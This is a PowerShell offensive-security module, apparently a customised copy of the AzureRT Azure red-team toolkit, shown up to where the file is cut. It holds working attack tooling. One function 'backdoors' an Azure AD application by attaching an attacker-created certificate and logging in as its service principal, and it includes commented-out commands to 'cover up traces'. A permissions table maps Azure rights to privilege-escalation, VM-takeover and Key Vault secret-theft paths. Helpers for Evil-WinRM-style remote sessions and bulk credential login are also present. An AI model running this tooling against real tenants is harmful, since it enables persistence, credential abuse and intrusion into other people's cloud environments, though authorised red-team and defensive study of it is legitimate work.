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AzureRT.ps1
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AzureRT.ps1
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#
# Azure Red Team Powershell module.
#
# Set of useful cmdlets used to collect reconnessaince data, query Azure, Azure AD or
# Office365 for valuable intelligence and perform various offensive activities using
# solely JWT Access Token or by interacting with related Powershell modules
# (Az, AzureAD, AzureADPreview) as well as AZ CLI.
#
# Requirements:a
# Install-Module Az
# Install-Module AzureAD
# Install-Module Microsoft.Graph (optional)
# az cli (optional)
#
# Author:
# Mariusz Banach / mgeeky, '22
# <mb [at] binary-offensive.com>
#
$KnownDangerousPermissions = @{
'`*/`*' = 'UNLIMITED PRIVILEGES IN THE ENTIRE AZURE SUBSCRIPTION!'
'`*/read' = 'Can read all sensitive data on a specified resource/service!'
'`*/write' = 'Can MODIFY all settings and data on a specified resource/service!'
'storageAccounts/read' = 'Allows User to read Storage Accounts and related Blobs'
'storageAccounts/blobServices/containers/read' = 'Allows User to read Blobs Containers'
'storageAccounts/blobServices/containers/blobs/write' = 'Allows Users to upload malicious files to Blob Containers'
'roleAssignments/write' = 'Facilitates Privileges Escalation through a malicious Role Assignment'
'microsoft.intune/allEntities/allTasks' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator'
'microsoft.intune/allEntities/`*' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator'
'microsoft.intune/*/`*' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator'
'virtualMachines/`*' = 'Complete control over Azure VM can lead to a machine takeover by Running arbitrary Powershell commands (runCommand)'
'virtualMachines/read' = 'User can read Azure VMs User Data contents as well as other VMs properties.'
'virtualMachines/write' = 'Partial control over Azure VM can lead to a machine takeover by modification of VMs User Data'
'virtualMachines/runCommand' = 'Allows User to Compromise Azure VM by Running arbitrary Powershell commands.'
'virtualMachines/extensions/write' = 'User can compromise Azure VM by creating a Custom Script Extension on that VM.'
'virtualMachines/extensions/read' = 'User can read a Custom Script Extension output on a Azure VM, which may contain sensitive data.'
'secrets/getSecret' = 'User can read Key Vault Secret contents'
'vaults/*/read' = 'User can access Key Vault Secrets.'
'Microsoft.KeyVault/vaults/`*' = 'User can access Key Vault Secrets.'
'vaults/certificatecas/`*' = 'User can access Key Vault Certificates'
'vaults/certificates/`*' = 'User can access Key Vault Certificates'
'vaults/keys/`*' = 'User can access Key Vault Keys'
'vaults/secrets/`*' = 'User can access Key Vault Keys'
'microsoft.directory/users/inviteGuest' = 'Can invite Guest Users to Azure AD Tenant'
'automationAccounts/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks'
'automationAccounts/jobs/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs'
'automationAccounts/jobs/write' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs'
'automationAccounts/runbooks/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks'
'users/password/update' = 'User can reset Other non-admin user passwords'
'users/authenticationMethods/create' = 'User can create new Authentication Method on another user'
'users/authenticationMethods/delete' = 'User can delete Authentication Method of another user.'
'users/authenticationMethods/basic/update' = 'User can update authentication methods of another user'
'/`*' = 'Unlimited privileges in a specified Azure Service. May result in data compromise, infiltration and other attacks.'
#'`*' = 'Unlimited privileges in this specific resource/service!'
}
Function Get-ARTWhoami {
<#
.SYNOPSIS
Prints current authentication context
.DESCRIPTION
Pulls current context information from Az and AzureAD modules and presents them bit nicer.
.PARAMETER CheckToken
When used will attempt to validate token.
.PARAMETER Az
Show Az authentication context.
.PARAMETER AzureAD
Show AzureAD authentication context.
.PARAMETER MGraph
Show MGraph authentication context.
.PARAMETER AzCli
Show az cli authentication context.
.EXAMPLE
Example 1: Will show all authentication contexts supported (Az, AzureAD, MGraph, az cli)
PS> Get-ARTWhoami
Example 2: Will show all authentication contexts supported and validate access tokens:
PS> Get-ARTWhoami -CheckToken
Example 3: Will show only Az and AzureAD authentication context:
PS> Get-ARTWhoami -Az -AzureAD
#>
[cmdletbinding()]
param(
[Switch]
$CheckToken,
[Switch]
$Az,
[Switch]
$AzureAD,
[Switch]
$MGraph,
[Switch]
$AzCli
)
$All = $true
if($Az -or $AzureAD -or $MGraph -or $AzCli) {
$All = $false
}
$EA = $ErrorActionPreference
#$ErrorActionPreference = 'silentlycontinue'
Write-Host ""
if((Get-Command Get-AzContext) -and ($All -or $Az)) {
Write-Host "=== Azure context (Az module):" -ForegroundColor Yellow
try {
$AzContext = Get-AzContext
if($CheckToken) {
try {
Get-AzTenant -ErrorAction SilentlyContinue | Out-Null
Write-Host "`n[+] Token is valid on Azure." -ForegroundColor Green
}
catch {
Write-Host "`n[-] Token is invalid on Azure." -ForegroundColor Red
}
}
$AzContext | Select Name,Account,Subscription,Tenant | fl
} catch {
Write-Host "[!] Not authenticated to Azure.`n" -ForegroundColor Red
Write-Host ""
}
}
if((Get-Command Get-AzureADCurrentSessionInfo) -and ($All -or $AzureAD)) {
Write-Host "=== Azure AD context (AzureAD module):" -ForegroundColor Yellow
try {
$AzADCurrSess = Get-AzureADCurrentSessionInfo
if($CheckToken) {
try {
Get-AzureADTenantDetail -ErrorAction SilentlyContinue | Out-Null
Write-Host "`n[+] Token is valid on Azure AD." -ForegroundColor Green
}
catch {
Write-Host "`n[-] Token is invalid on Azure AD." -ForegroundColor Red
}
}
$sp = $null
try {
$sp = Get-AzureADServicePrincipal | ? { $_.ServicePrincipalNames -contains $AzADCurrSess.Account }
}
catch {
}
if($sp -ne $null) {
$membership = $null
try {
$membership = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId
}catch{}
$AzADCurrSess | Select Account,Environment,Tenant,TenantDomain,@{Name="PrincipalType";Expression={'ServicePrincipal'}},@{Name="ApplicationName";Expression={$sp.DisplayName}},@{Name="ApplicationId";Expression={$sp.ObjectId}},@{Name="MemberOf";Expression={$membership | select -ExpandProperty DisplayName}} | fl
}
else {
$membership = $null
try {
$membership = Get-AzureADUserMembership -ObjectId $AzADCurrSess.Account.Id
}catch{}
$AzADCurrSess | Select Account,Environment,Tenant,TenantDomain,@{Name="PrincipalType";Expression={'User'}},@{Name="MemberOf";Expression={$membership | select -ExpandProperty DisplayName}} | fl
}
} catch {
Write-Host "[!] Not authenticated to Azure AD.`n" -ForegroundColor Red
throw
Write-Host ""
}
}
try {
if (($All -or $MGraph) -and (Get-Command Get-MGContext -ErrorAction SilentlyContinue)) {
Write-Host "=== Microsoft Graph context (Microsoft.Graph module):" -ForegroundColor Yellow
try {
$mgContext = Get-MGContext
if($CheckToken) {
try {
Get-MGOrganization -ErrorAction SilentlyContinue | Out-Null
Write-Host "`n[+] Token is valid on Microsoft Graph." -ForegroundColor Green
}
catch {
if($PSItem.Exception.Message -like '*Insufficient privileges to complete the operation*') {
Write-Host "`n[+] Token is valid on Microsoft Graph." -ForegroundColor Green
}
else {
Write-Host "`n[-] Token is invalid on Microsoft Graph." -ForegroundColor Red
}
}
}
$mgContext | Select Account,AppName,ContextScope,ClientId,TenantId,AuthType | fl
} catch {
Write-Host "[!] Not authenticated to Microsoft.Graph.`n" -ForegroundColor Red
Write-Host ""
}
}
} catch {
Write-Host "[!] Microsoft.Graph module not loaded. Load it with Import-Module MSOnline`n" -ForegroundColor Red
Write-Host ""
}
if($All -or $AzCli) {
Write-Host "=== AZ CLI context:" -ForegroundColor Yellow
try {
$AzAcc = az account show | convertfrom-json
$Coll = New-Object System.Collections.ArrayList
$obj = [PSCustomObject]@{
Username = $AzAcc.User.Name
Usertype = $AzAcc.User.Type
TenantId = $AzAcc.tenantId
TenantName = $AzAcc.name
SubscriptionId = $AzAcc.Id
Environment = $AzAcc.EnvironmentName
}
$null = $Coll.Add($obj)
$Coll | fl
} catch {
Write-Host "[!] Not authenticated to AZ CLI.`n" -ForegroundColor Red
Write-Host ""
}
}
$ErrorActionPreference = $EA
}
Function Get-ARTSubscriptionId {
<#
.SYNOPSIS
Returns the first Subscription ID available.
.DESCRIPTION
Returns the first Subscription ID available.
.PARAMETER AccessToken
Azure Management Access Token
.EXAMPLE
PS> Get-ARTSubscriptionId -AccessToken $token
#>
[cmdletbinding()]
param(
[Parameter(Mandatory=$False)]
[string]
$AccessToken
)
try {
$EA = $ErrorActionPreference
$ErrorActionPreference = 'silentlycontinue'
if($AccessToken -ne $null -and $AccessToken.Length -gt 0) {
$headers = @{
'Authorization' = "Bearer $AccessToken"
}
$SubscriptionId = (Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -Headers $headers).value.subscriptionId
}
else {
$SubscriptionId = (Get-AzContext).Subscription.Id
}
if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) {
throw "Could not acquire Subscription ID!"
}
if( $SubscriptionId.Split(' ').Length -gt 1 ) {
$First = $SubscriptionId.Split(' ')[0]
Write-Warning "[#] WARNING: There are multiple Subscriptions available in this Tenant! Specify -SubscriptionId parameter to narrow down results."
Write-Warning " Picking the first Subscription Id: $First"
$SubscriptionId = $First
}
return $SubscriptionId.Split(' ')[0]
}
catch {
Write-Host "[!] Function failed!" -ForegroundColor Red
Throw
Return
}
finally {
$ErrorActionPreference = $EA
}
}
Function Parse-JWTtokenRT {
[alias("Parse-JWTokenRT")]
<#
.SYNOPSIS
Prints JWT token contents.
.DESCRIPTION
Parses input JWT token and prints it out nicely.
.PARAMETER Token
JWT token to parse.
.PARAMETER Json
Return parsed token as JSON object.
.PARAMETER ShowHeader
Include Header in token representation.
.EXAMPLE
PS> Parse-JWTokenRT -Token $token
#>
[cmdletbinding()]
param(
[Parameter(Mandatory=$true)]
[string]
$Token,
[Switch]
$Json,
[Switch]
$ShowHeader
)
try {
if($Token -eq $null -or $Token.Length -eq 0 ) {
Write-Error "Empty token."
Return
}
$EA = $ErrorActionPreference
$ErrorActionPreference = 'silentlycontinue'
if (!$token.Contains(".") -or !$token.StartsWith("eyJ")) { Write-Error "Invalid JWT token!" -ErrorAction Stop }
$tokenheader = $token.Split(".")[0].Replace('-', '+').Replace('_', '/')
while ($tokenheader.Length % 4) { $tokenheader += "=" }
$tokenHdrByteArray = [System.Convert]::FromBase64String($tokenheader)
$tokenHdrArray = [System.Text.Encoding]::ASCII.GetString($tokenHdrByteArray)
$tokhdrobj = $tokenHdrArray | ConvertFrom-Json
$tokenPayload = $token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
if ([bool]($tokobj.PSobject.Properties.name -match "iat")) {
$tokobj.iat = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.iat)
}
if ([bool]($tokobj.PSobject.Properties.name -match "nbf")) {
$tokobj.nbf = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.nbf)
}
if ([bool]($tokobj.PSobject.Properties.name -match "exp")) {
$tokobj.exp = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.exp)
}
if ([bool]($tokobj.PSobject.Properties.name -match "xms_tcdt")) {
$tokobj.xms_tcdt = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.xms_tcdt)
}
if($ShowHeader) {
$tokobj.header = $tokhdrobj
}
if($Json) {
Return ($tokobj | ConvertTo-Json)
}
return $tokobj
}
catch {
Write-Host "[!] Function failed!" -ForegroundColor Red
Throw
Return
}
finally {
$ErrorActionPreference = $EA
}
}
###########CUSTOM FUNCTIONS###########
Function ImportAll {
import-module Az
write-host "[+] Imported Az..."
import-module AzureAD
write-host "[+] Imported AzureAD..."
#import-module C:\AzAD\Tools\MSOnline\MSOnline.psd1
#write-host "[+] Imported MSOnline..."
#import-module C:\AzAD\Tools\AADInternals\AADInternals.psd1
#write-host "[+] Imported AADInternals..."
write-host "[+] Done! Imported all modules."
}
Function List-DeviceOwners {
$users = (Get-AzureADUser | select -ExpandProperty UserPrincipalName)
foreach ($user in $users) {
if (Get-AzureADUserOwnedDevice -ObjectId $user) {
Write-Host -ForegroundColor Green "*** Devices owned by $user :"
Get-AzureADUserOwnedDevice -ObjectId $user
Write-Host "____________________________________________________________"
Write-Host ""
}
}
}
Function Evil-Winrm {
param (
[string]$UserName,
[string]$Password,
[string]$TargetIP,
[string]$TargetHostName
)
$loginName = $TargetHostName + "\" + $UserName
$SecPassword = ConvertTo-SecureString $Password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($loginName, $SecPassword)
$script:evilSession = New-PSSession -ComputerName $TargetIP -Credential $cred
Enter-PSSession -ComputerName $TargetIP -Credential $cred
}
Function dis {
Disconnect-AzAccount
Disconnect-AzureAD
}
Function Connect-All {
param (
[string]$UserName,
[string]$Password
)
$SecPassword = ConvertTo-SecureString $Password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($UserName, $SecPassword)
if ($cred) { Write-Host "Connecting..." }
Connect-ARTAD -Credential $cred
Connect-ART -Credential $cred
Connect-MsolService -Credential $cred
}
Function Enum-All {
Get-ARTAccess
Get-ARTADAccess
}
Function whois {
param (
[string]$Target
)
$objID = (Get-AzureADUser -ObjectId $Target).ObjectId
$upn = (Get-AzureADUser -ObjectId $Target).UserPrincipalName
Write-Host ""
Write-Host -ForegroundColor Green "[+] Target set to: $upn - $objID"
Write-Host ""
Write-Host -ForegroundColor Green "[+] Group Memeberships:"
Get-AzureADUserMembership -ObjectId $objID | fl displayname,Description,ObjectId
Write-Host ""
Write-Host "_________________________________________________"
Write-Host ""
Write-Host -ForegroundColor Green "[+] Role Assignments:"
Get-AzRoleAssignment -ObjectId $objID | fl RoleDefinitionName,scope
Write-Host ""
Write-Host "_________________________________________________"
Write-Host ""
Write-Host -ForegroundColor Green "[+] Administrative Unit Memeberships:"
Write-Host ""
$administrativeUnits = Get-MsolAdministrativeUnit
foreach ($administrativeUnit in $administrativeUnits) {
$administrativeUnitName = $administrativeUnit.DisplayName
$isMember = Get-MsolAdministrativeUnitMember -AdministrativeUnitObjectId $administrativeUnit.ObjectId -All |
Where-Object {$_.EmailAddress -eq $upn}
if ($isMember) {
$adminUnitDesc = (Get-MsolAdministrativeUnit -ObjectId $administrativeUnit.ObjectId).Description
Write-Host "$upn is a member of Administrative Unit: $administrativeUnitName"
Write-Host "Administrative Unit Description: $adminUnitDesc"
$scopedRole = Get-AzureADMSScopedRoleMembership -Id $administrativeUnit.ObjectId -ErrorAction SilentlyContinue
if ($scopedRole) {
$actualrolID = $scopedRole.RoleId
$actualroleName = (Get-AzureADDirectoryRole -ObjectId $actualrolID).DisplayName
$actualrolDesc = (Get-AzureADDirectoryRole -ObjectId $actualrolID).Description
$actualrolAssignee = (Get-AzureADMSScopedRoleMembership -Id $administrativeUnit.ObjectId -ErrorAction SilentlyContinue | select -ExpandProperty rolememberinfo).UserPrincipalName
Write-Host -ForegroundColor Red "[+] Attention: Admin Unit has Scoped Role(s)!"
Write-Host "[+] Scoped Role: $actualroleName"
Write-Host "[+] Scoped Role Description: $actualrolDesc"
Write-Host "[+] Scoped Role Assignee: $actualrolAssignee"
}
}
#else { Write-Host "$upn is NOT a member of $administrativeUnitName" }
}
Write-Host ""
}
######################################
Function Connect-ART {
<#
.SYNOPSIS
Connects to the Azure.
.DESCRIPTION
Invokes Connect-AzAccount to authenticate current session to the Azure Portal via provided Access Token or credentials.
Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token.
.PARAMETER AccessToken
Specifies JWT Access Token for the https://management.azure.com resource.
.PARAMETER GraphAccessToken
Optional access token for Azure AD service (https://graph.microsoft.com).
.PARAMETER KeyVaultAccessToken
Optional access token for Key Vault service (https://vault.azure.net).
.PARAMETER SubscriptionId
Optional parameter that specifies to which subscription should access token be acquired.
.PARAMETER TokenFromAzCli
Use az cli to acquire fresh access token.
.PARAMETER Username
Specifies Azure portal Account name, Account ID or Application ID.
.PARAMETER Password
Specifies Azure portal password.
.PARAMETER TenantId
When authenticating as a Service Principal, the Tenant ID must be specifed.
.PARAMETER Credential
PS Credential object containing principal credentials to connect with.
.EXAMPLE
Example 1: Authentication as a user to the Azure via Access Token:
PS> Connect-ART -AccessToken 'eyJ0eXA...'
Example 2: Authentication as a user to the Azure via Credential:
PS> Connect-ART -Username [email protected] -Password Foobar123%
Example 3: Authentication as a user to the Azure via Credential object:
PS> Connect-ART -Credential $creds
Example 4: Authentication as a Service Principal using added Application Secret:
PS> Connect-ART -ServicePrincipal -Username f072c4a6-e696-11eb-b57b-00155d01ef0d -Password 'agq7Q~UZX5SYwxq2O7FNW~C_S1QNJcJrlLu.E' -TenantId b423726f-108d-4049-8c11-d52d5d388768
#>
[CmdletBinding(DefaultParameterSetName = 'Token')]
Param(
[Parameter(Mandatory=$False, ParameterSetName = 'Token')]
[String]
$AccessToken = $null,
[Parameter(Mandatory=$False, ParameterSetName = 'Token')]
[String]
$GraphAccessToken = $null,
[Parameter(Mandatory=$False, ParameterSetName = 'Token')]
[String]
$KeyVaultAccessToken = $null,
[Parameter(Mandatory=$False, ParameterSetName = 'Token')]
[String]
$SubscriptionId = $null,
[Parameter(Mandatory=$False, ParameterSetName = 'Token')]
[Switch]
$TokenFromAzCli,
[Parameter(Mandatory=$True, ParameterSetName = 'Credentials')]
[String]
$Username = $null,
[Parameter(Mandatory=$True, ParameterSetName = 'Credentials')]
[String]
$Password = $null,
[Parameter(Mandatory=$False, ParameterSetName = 'Credentials')]
[Switch]
$ServicePrincipal,
[Parameter(Mandatory=$False, ParameterSetName = 'Credentials')]
[String]
$TenantId,
[Parameter(Mandatory=$True, ParameterSetName = 'Credentials2')]
[System.Management.Automation.PSCredential]
$Credential
)
try {
$EA = $ErrorActionPreference
$ErrorActionPreference = 'silentlycontinue'
if (-not (Get-Module -ListAvailable -Name Az.Accounts)) {
Write-Verbose "Az Powershell module not installed or not loaded. Installing it..."
}
if($PsCmdlet.ParameterSetName -eq "Token" -and ($AccessToken -eq $null -or $AccessToken -eq "")) {
if($TokenFromAzCli) {
Write-Verbose "Acquiring Azure access token from az cli..."
$AccessToken = Get-ARTAccessTokenAzCli -Resource https://management.azure.com
$KeyVaultAccessToken = Get-ARTAccessTokenAzCli -Resource https://vault.azure.net
}
else {
Write-Verbose "Acquiring Azure access token from Connect-AzAccount..."
$AccessToken = Get-ARTAccessTokenAz -Resource https://management.azure.com
$KeyVaultAccessToken = Get-ARTAccessTokenAz -Resource https://vault.azure.net
}
}
if($AccessToken -ne $null -and $AccessToken.Length -gt 0) {
Write-Verbose "Azure authentication via provided access token..."
$parsed = Parse-JWTtokenRT $AccessToken
$tenant = $parsed.tid
if(-not ($parsed.aud -like 'https://management.*')) {
Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)"
}
if ([bool]($parsed.PSobject.Properties.name -match "upn")) {
Write-Verbose "Token belongs to a User Principal."
$account = $parsed.upn
}
elseif ([bool]($parsed.PSobject.Properties.name -match "unique_name")) {
Write-Verbose "Token belongs to a User Principal."
$account = $parsed.unique_name
}
else {
Write-Verbose "Token belongs to a Service Principal."
$account = $parsed.appId
}
$headers = @{
'Authorization' = "Bearer $AccessToken"
}
$params = @{
'AccessToken' = $AccessToken
'Tenant' = $tenant
'AccountId' = $account
}
if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) {
$SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken
if(-not ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) {
$params["SubscriptionId"] = $SubscriptionId
}
else {
Write-Warning "Could not acquire Subscription ID! Resulting access token may be corrupted!"
}
}
else {
$params["SubscriptionId"] = $SubscriptionId
}
if ($KeyVaultAccessToken -ne $null -and $KeyVaultAccessToken.Length -gt 0) {
$parsedvault = Parse-JWTtokenRT $KeyVaultAccessToken
if(-not ($parsedvault.aud -eq 'https://vault.azure.net')) {
Write-Warning "Provided JWT Key Vault Access Token is not scoped to `"https://vault.azure.net`"! Instead its scope is: `"$($parsedvault.aud)`" . That will not work!"
}
$params["KeyVaultAccessToken"] = $KeyVaultAccessToken
}
if ($GraphAccessToken -ne $null -and $GraphAccessToken.Length -gt 0) {
$parsedgraph = Parse-JWTtokenRT $GraphAccessToken
if(-not ($parsedgraph.aud -match 'https://graph.*')) {
Write-Warning "Provided JWT Graph Access Token is not scoped to `"https://graph.*`"! Instead its scope is: `"$($parsedgraph.aud)`" . That will not work!"
}
$params["GraphAccessToken"] = $GraphAccessToken
}
$command = "Connect-AzAccount"
foreach ($h in $params.GetEnumerator()) {
$command += " -$($h.Name) '$($h.Value)'"
}
Write-Verbose "Command:`n$command`n"
iex $command
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
Parse-JWTtokenRT $AccessToken
}
}
elseif (($PsCmdlet.ParameterSetName -eq "Credentials2") -and ($Credential -ne $null)) {
if($ServicePrincipal) {
$Username = $Credential.UserName
if(-not ($Username -match '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')) {
throw "Service Principal Username must follow a GUID scheme!"
}
Write-Verbose "Azure authentication via provided Service Principal PSCredential object..."
if($TenantId -eq $null -or $TenantId.Length -eq 0) {
throw "Tenant ID not provided! Pass it in -TenantId parameter."
}
Connect-AzAccount -Credential $Credential -ServicePrincipal -Tenant $TenantId
} Else {
Write-Verbose "Azure authentication via provided PSCredential object..."
Connect-AzAccount -Credential $Credential
}
}
else {
$passwd = ConvertTo-SecureString $Password -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ($Username, $passwd)
if($ServicePrincipal) {
if(-not ($Username -match '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')) {
throw "Service Principal Username must follow a GUID scheme!"
}
Write-Verbose "Azure authentication via provided Service Principal creds..."
if($TenantId -eq $null -or $TenantId.Length -eq 0) {
throw "Tenant ID not provided! Pass it in -TenantId parameter."
}
Connect-AzAccount -Credential $creds -ServicePrincipal -Tenant $TenantId
} Else {
Write-Verbose "Azure authentication via provided User creds..."
Connect-AzAccount -Credential $creds
}
}
}
catch {
Write-Host "[!] Function failed!" -ForegroundColor Red
Throw
Return
}
finally {
$ErrorActionPreference = $EA
}
}
Function Get-ARTUserId {
<#
.SYNOPSIS
Gets current or specified user ObjectId.
.DESCRIPTION
Acquires current user or user specified in parameter ObjectId
.PARAMETER Username
Specifies Username/UserPrincipalName/email to use during ObjectId lookup.
.EXAMPLE
PS> Get-ARTUserId
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False)]
[String]
$Username
)
try {
$EA = $ErrorActionPreference
$ErrorActionPreference = 'silentlycontinue'
$name = (Get-AzureADCurrentSessionInfo).Account
if($Username -ne $null -and $Username.Length -gt 0) {
$name = $Username
}
$UserId = (Get-AzureADUser -SearchString $name).ObjectId
if($UserId -eq $null -or $UserId.Length -eq 0) {
Write-Verbose "Current user is Service Principal"
Return ((Get-AzureADCurrentSessionInfo).Account).Id
}
Return $UserId
}
catch {
Write-Host "[!] Function failed!" -ForegroundColor Red
Throw
Return $null
}
finally {
$ErrorActionPreference = $EA
}
}
Function Connect-ARTADServicePrincipal {
<#
.SYNOPSIS
Connects to the AzureAD as a Service Principal with Certificate.
.DESCRIPTION
Invokes Connect-AzAccount to authenticate current session to the Azure Portal via provided Access Token or credentials.
Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token.
Then it creates self-signed PFX certificate and associates it with Service Principal for authentication.
Afterwards, authenticates as that Service Principal to AzureAD and deassociates that certificate to cleanup
.PARAMETER TargetApplicationName
Specifies Enterprise Application (by Name or ObjectId) which Service Principal is to be used for authentication.
.EXAMPLE
Example 1: Connect via Access Token:
PS> Connect-ARTAD -AccessToken '...'
PS> Connect-ARTADServicePrincipal -TargetApplicationName testapp1
Example 2: Connect via PSCredential object:
PS> $creds = Get-Credential
PS> Connect-AzureAD -Credential $creds
PS> Connect-ARTADServicePrincipal -TargetApplicationName testapp1
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True)]
[String]
$TargetApplicationName
)
try {
$EA = $ErrorActionPreference
$ErrorActionPreference = 'silentlycontinue'
$fname = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})
$certPath = "$Env:Temp\$fname.key.pfx"
$certStorePath = "cert:\currentuser\my"
$appKeyIdentifier = "Test123"
$certpwd = "VeryStrongCertificatePassword123"
try {
$certDnsName = (Get-AzureADDomain | ? { $_.IsDefault -eq $true } ).Name
}
catch {
Write-Host "[!] Get-AzureADDomain failed. Probably not authenticated."
Write-Host "[!] Use: Connect-AzureAD or Connect-ARTAD before attempting authentication as Service Principal!"
Throw
Return
}
$UserId = Get-ARTUserId
$pwd = ConvertTo-SecureString -String $certpwd -Force -AsPlainText
$cert = Get-ChildItem -Path $certStorePath | where { $_.subject -eq "CN=$certDnsName" }
if($cert -eq $null -or $cert.Thumbprint -eq "") {
Write-Verbose "Step 1. Create the self signed cert and load it to local store."
$currentDate = Get-Date
$endDate = $currentDate.AddYears(1)
$notAfter = $endDate.AddYears(1)
$thumb = (New-SelfSignedCertificate -CertStoreLocation $certStorePath -DnsName $certDnsName -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $notAfter).Thumbprint
}
else {
Write-Verbose "Step 1. Get self signed cert and load it to local store."
$cert
$thumb = $cert.Thumbprint
}
Write-Verbose "`t1.1. Export PFX certificate to file: $certPath"
Export-PfxCertificate -cert "$certStorePath\$thumb" -FilePath $certPath -Password $pwd | Out-Null
Write-Verbose "Step 2. Load exported certificate"
Write-Verbose "`t2.1. Certificate Thumbprint: $thumb"
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate($certPath, $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Verbose "Step 3. Get Service Principal and connect it to the Application."
$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '$TargetApplicationName'"
$app = Get-AzureADApplication | ? { $_.DisplayName -eq $TargetApplicationName -or $_.ObjectId -eq $TargetApplicationName }
Write-Verbose "Step 4. Backdoor target Azure AD Application with newly created Certificate."
$key = New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -CustomKeyIdentifier $appKeyIdentifier -StartDate $currentDate -EndDate $endDate -Type AsymmetricX509Cert -Usage Verify -Value $keyValue
Write-Host "Perform cleanup with command:"
Write-Host "`tPS> Remove-ARTServicePrincipalKey -ApplicationName $($app.ObjectId) -KeyId $($key.KeyId)"
Write-Verbose "`nStep 5. Authenticate to Azure AD as a Service Principal."
try {
Write-Verbose "`tCooling down for 15 seconds to let Azure account for created certificate.`n"
Start-Sleep -Seconds 15
Connect-AzureAD -TenantId $sp.AppOwnerTenantId -ApplicationId $sp.AppId -CertificateThumbprint $thumb | Out-Null
}
catch {
Write-Host "[!] Failed: Could not authenticate to Azure AD as Service Principal!"
Return
}
#Write-Verbose "`n[.] To manually remove backdoor certificate from the Application and cover up traces use following command AS $((Get-AzureADCurrentSessionInfo).Account):`n"
#Write-Verbose "`tRemove-AzureADApplicationKeyCredential -ObjectId $($app.ObjectId) -KeyId $($key.KeyId)`n"
#Write-Verbose "`tGet-ChildItem -Path $certStorePath | where { `$_.subject -eq `"CN=$certDnsName`" } | Remove-Item"
#Write-Verbose "`tRemove-Item -Path $certPath | Out-Null"
Write-Host "`n`n[+] You are now authenticated as:`n"
Get-AzureADDomain | Out-Null
Start-Sleep -Seconds 3
Get-AzureADCurrentSessionInfo
}
catch {
Write-Host "[!] Function failed!" -ForegroundColor Red
Throw
Return
}
finally {
$ErrorActionPreference = $EA
}
}
Function Remove-ARTServicePrincipalKey {
<#
.SYNOPSIS
Removes Service Principal Certificate that was used during authentication.
.DESCRIPTION
Performs cleanup actions after running Connect-ARTADServicePrincipal
.PARAMETER ApplicationName
Specifies Enterprise Application which we want to remove certificate from
.PARAMETER KeyId
Specifies Certificate Key ID to remove from target Application.
.EXAMPLE
PS> Remove-ARTServicePrincipalKey -ApplicationName testapp1 -KeyId e1be55d2-6369-4100-b063-37c5701182fd
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True)]
[String]
$ApplicationName,
[Parameter(Mandatory=$True)]
[String]
$KeyId
)
try {
$EA = $ErrorActionPreference
$ErrorActionPreference = 'silentlycontinue'
$certStorePath = "cert:\currentuser\my"